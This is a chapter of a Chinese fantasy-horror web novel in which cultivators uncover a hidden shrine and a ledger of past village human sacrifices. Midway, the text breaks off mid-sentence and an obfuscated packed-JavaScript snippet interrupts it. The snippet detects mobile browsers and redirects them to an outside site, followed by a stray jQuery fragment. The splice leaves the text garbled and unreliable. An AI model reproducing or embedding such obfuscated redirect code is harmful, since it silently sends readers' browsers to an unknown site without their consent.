宗祠在村庄中心,青砖黛瓦,坐北朝南。石板地面被踩踏多年,已经较为平滑,缝隙泥土里长着一些青苔。暗红色棱柱的漆面稍有斑驳,部分有开裂,露出原木本色来。
厚重的长条案摆在正中,其上呈阶梯状摆放着先祖牌位,每个牌位都像被墨汁浸透过一样漆黑而模糊,看不清字迹。
外面夜色太黑,宗祠内部更是伸手不见五指。徐空山、谷雨石和书生各自分了一个顾眠霜出品的离线版照明诀光球,分头去翻找线索。
光球效果相当于灵火灯三倍亮度,徐空山干脆把那个柔弱的灵火灯挂在腰上,感觉像是提着芝麻又捡了西瓜,作为芝麻的主人心情略感微妙。
“这村子原来是个宗族。”徐空山端详牌位,若有所思。
“怪不得妄墟祸及整个村庄。若是有宗族联系,他们对文简做的事情就极有可能不是一两个人做的,而是有很多知情人。”
谷雨石左看右看,抹了一把案头,“看来已经没落了,也没什么人打理,全是灰呢。”
她甩了甩手,感觉手指黏腻。低头一看,手指头已经成黑色了,大小姐对此颇感新奇,想了想,干脆用两只手对着狂搓。
把灰尘都搓得飞了起来,谷雨石忍不住“哈啾”了一声。
坐在门槛上的木工闻声抬了下头,但他眼力没有几位修士好,看不清祠堂里的事情,便又看看身旁的顾眠霜。
顾眠霜靠在门框上,双臂环抱,面无表情地看着外面。木工抬头只能看见他半个侧脸、黑色长发、枯枝发簪和编进辫子里的一条红绳。
见顾眠霜没什么反应,知道无事发生,木工就继续低头休息。
三片飞叶漫无目的地在祠堂里乱飞。
飞叶的感知范围和顾眠霜共享,其中一片刚好从书生的眼睛前面飞过,后者一个激灵,悄悄挪远了一点。
他的视线回到自己面前的抽屉上。
祠堂里只有两处地方有抽屉,一个是祭器柜,用于存放香烛、线香、火柴等物品,另一个是正厅一侧的账房桌。桌面上也已经积了一层灰,并且放了一些不相干的杂物,看来已经失去原本的作用很久了。
祭器柜一无所获,书生去拉账房桌的抽屉,摸了好几下没摸到把手,低头一看拉环的位置空空如也,原本的黄铜拉环不知道被谁偷走了,原地只剩下一个木头鼻子和两个洞。
抠了半天木头鼻孔的书生有点无语,换了个角度抠开这个抽屉。一直在附近逡巡的飞叶马上靠近,漂浮在他耳朵旁边,宛如一只闻声过来盯着的小鸟。
里面是一本老旧的账册,已经被书虫啃没了四个角,拿起来抖几下就好像要散架似的。
旁边放着已经干掉的印泥、砚台之类的旧物,书生伸手进去摸索了一会没有摸到暗格,遗憾收回手,开始看这本账册。
“收成一直都很不错……”书生小声嘀咕,“会不会太不错了点?闹灾那几年也这么高……几十年前,赋税也不重,怪不得有人能攒下家底,回村当地主……”
余光瞟了一眼顾眠霜。对方没什么动静,但书生猜他能听见。
啧。
耳力这么好做什么,兔子成精?
“……整个村子的大收支都在这,有一年产量挺高,但拿到的钱反而低了。”书生道,“这段的字迹也很重,写的时候很生气?像是被收粮的人骗了钱。之后的记载就不太全了,或许是因为族人离心,大家只管自己了。”
他把册子收起来,又翻了翻其他的柜子,没再有什么发现。
这时,角落里传来谷雨石的声音:“哎,这里是不是有个机关?”
“我看看,你别乱动。”徐空山走过去一看,大惊失色,“身上怎么这么多灰?你钻香炉里了?”
谷雨石乖乖地站着让徐空山帮她摘掉头上的蜘蛛网,又被连施三个除尘咒。
她这边在被徐空山倒腾,另一边还要伸出一只手给走过来的其他人指路:“这儿这儿。”
“祠堂怎么会有机关……”徐空山百思不得其解。
他到处敲敲打打,没找着开关在哪。最后是木工顺着机关活动的痕迹一路查找,把角落里那个不起眼的装饰塑像给转了个方向。
祠堂某处传来机关咔哒解锁的声响,几人过去看,发现牌位后面有块儿墙壁裂了一条缝。
“藏得挺好啊。”徐空山说,“在祖宗后面放暗门?”
书生:“好歹没在牌位下面放,不然我们还得给祖宗们请出去。”
谷雨石:“噗。”
那是一块十分厚重的木板,后面原本有一个插销,插销连着的就是外面的机关。现在插销打开了,木板也就顺着重力歪出一条缝。否则他们可能还得每块地方都敲敲推推才能知道门在哪里。
坏处是时间太久了,门轴已经生锈。徐空山和木工一起试了一下没推开,最后是顾眠霜脸色阴沉地上来给踹开的。
书生揣着袖子没参与,跟在后面问谷雨石:“小谷姑娘,半个时辰还剩多长时间?”
谷雨石想了想,“一刻钟多点儿。”
徐空山把漂浮的灰尘给挥开,第一个端着光球进去道:“抓紧时间,看看里面有……哎唷我草!”
“怎么了?”大家都是第一次听徐空山爆粗口,纷纷侧目。
“不动……不动的,吓死我了。”徐空山跟他们待久了,逐渐不端着他巡夜人或者仙长的架子,说话也变得随和起来,“一个奇形怪状的神像。”
他甚至下意识使唤顾眠霜:“灯调亮一点,顾道友。”
顾眠霜:“。”
他无言,几个光球顿时把这不大的房间照得亮如白昼。
只见房间四壁灰黑,正中有一张明显比外面还要贵重精致许多的供桌,但上面没有香炉,只有一个雪白的瓷碗,里面有一些香灰,还有寥寥数根线香的尾巴。
供桌后面,粗糙地坐着一个难以用言语形容的东西。
它通体漆黑,头顶和天花板融合在一起,像一根顶天立地的金柱,上面布满了繁复的凸起的花纹。
但细看却发现,那些花纹却不是通常所见的蟠龙、舞凤之类,而是一双双互相纠缠、抱紧的手臂,手臂的缝隙里是一只只大小不一的人眼,巩膜浑浊发暗,瞳仁却格外拟真。虹膜呈现当地常见的深棕色,边缘却多出一圈血红,灯光一亮,便能看出来齐齐整整地在盯着进来的人。
“这些眼睛在看谁?”徐空山左右走了两步,疑惑道:“看我吗?”
书生:“我觉得在看我。”
谷雨石乖巧举手:“我也是。”
顾眠霜冷冷道:“错觉吧。”
他无视那些眼睛,在神像无数注视下拉开了这个精致供桌的抽屉。
抽屉里有东西,还是一本账册,但封皮比正厅账务桌里的更加老旧,纸页卷曲发黄。上面的墨字要少很多。记载稻谷收成和钱财的那一本堪称密密麻麻,这一本每页只有寥寥数语。
但都触目惊心,翻开第一页就写着“……年立春,童男童女一对。”
“……年立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526572|186325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋,村中妇女一位,寡妇,无孩。”
“……年冬至,男子一位。游历至此,居住半月,欲离。已一年余未祭,留之。”
顾眠霜眸光闪动,把这本字里行间满是鲜血意味的账册递给站在最后排书生。后者实打实地一愣。
“你看。”顾眠霜说,混不在意其他人的举动,兀自走到“神像”旁边近距离观察去了。
“道道道友,你要不离那个东西远点儿?”徐空山看他越走越近,心悬起来。
顾眠霜漫不经心:“无妨,这东西不是活的。”
他甚至凑近了与最大的那一只眼睛对视。这瞳仁丝毫没有变化,瞳孔也不会放大缩小,只是呆滞地像个自动跟随的玩具,随着顾眠霜的动作移动。
顾眠霜对视线很敏感。
他能在完全黑暗的时候察觉到书生偷看他的目光,因此怀疑书生。
也能在进入暗室之后发觉这个所谓“神像”上,追着人转的眼珠子只是徒有其表,并不是真正的“眼睛”,也没有连接什么邪神的大脑。
硬要说的话,跟一棵向日葵差不了多少……
顾眠霜:“……”
一根千手柱子上长了很多朵向日葵吗,那很怪了。
另一边,书生正在顾眠霜版加强光球的光亮下,磕磕绊绊地念上面的内容。
他一边念,一边对照着在外面找到的账册,加入自己的分析。
这个村庄确实用活人祭祀过,最早的时候用童子,后来改用无家无夫的妇女,再后来,为了村庄的人口不被消耗减少,开始使用来到此地暂住的外乡人。
村口那个空屋,就是用来给外人借住的。
外人借住几天,他们好生招待提供食水,往往又会留上几个月。
待到时节合适,就打晕了拉出去。
祭祀很有效果,数年间风调雨顺,每年的收成都十分富裕,也因此走出去了一些人。家家户户都能放下不止一个米缸,米缸里满满当当都是可供吃上几年的精米。他们村的稻谷质量是这附近最好的,就算多雨或者干旱也不会差上多少。
后来,出去的一些人回来,他们读了书,告诉年轻人,庄稼收成好是因为水土干净肥沃,是老天降福让他们免于灾荒,而不是因为用活人祭祀。
他们的劝说起了效果,最后几页祭祀的时间间隔逐渐拉长,到了三年一次、五年一次。
庄稼的收成还是那么好。
后来,这本账册的记录就戛然而止,神像和供桌被关进了暗室,前几辈的老人将之隐藏。
年轻人们并不知道这些血淋淋的往事。
“大概就是这样。”书生总结道,“这个村子在数十年前有过活祭,但已经终止很久了,不应该还牵扯到后来的文简和秧生。不知为什么他们确实被牵扯了,所以我们才能来到这间暗室……徐仙长还要看么?”
“不必,你说得很对。”徐空山跟着看完了账册,眉头紧锁,“活人祭祀在现世也是被明令禁止的,不仅是宗门不让,朝廷也列入了律法,发现就要重罚……他们做出这种事,想隐藏起来倒是正常……”
顾眠霜绕了一圈回来。
他的光球越过向日葵柱子,地上的阴影像潮汐下的河床,被光驱赶着退到另一侧。
其他人站在暗室入口处,徐空山和书生刚刚抬起头。
几人都是一怔。
徐空山不确定地问:“……刚刚这里有这个东西吗?”
在他们和供桌的中间,出现了一个巨大的黑影。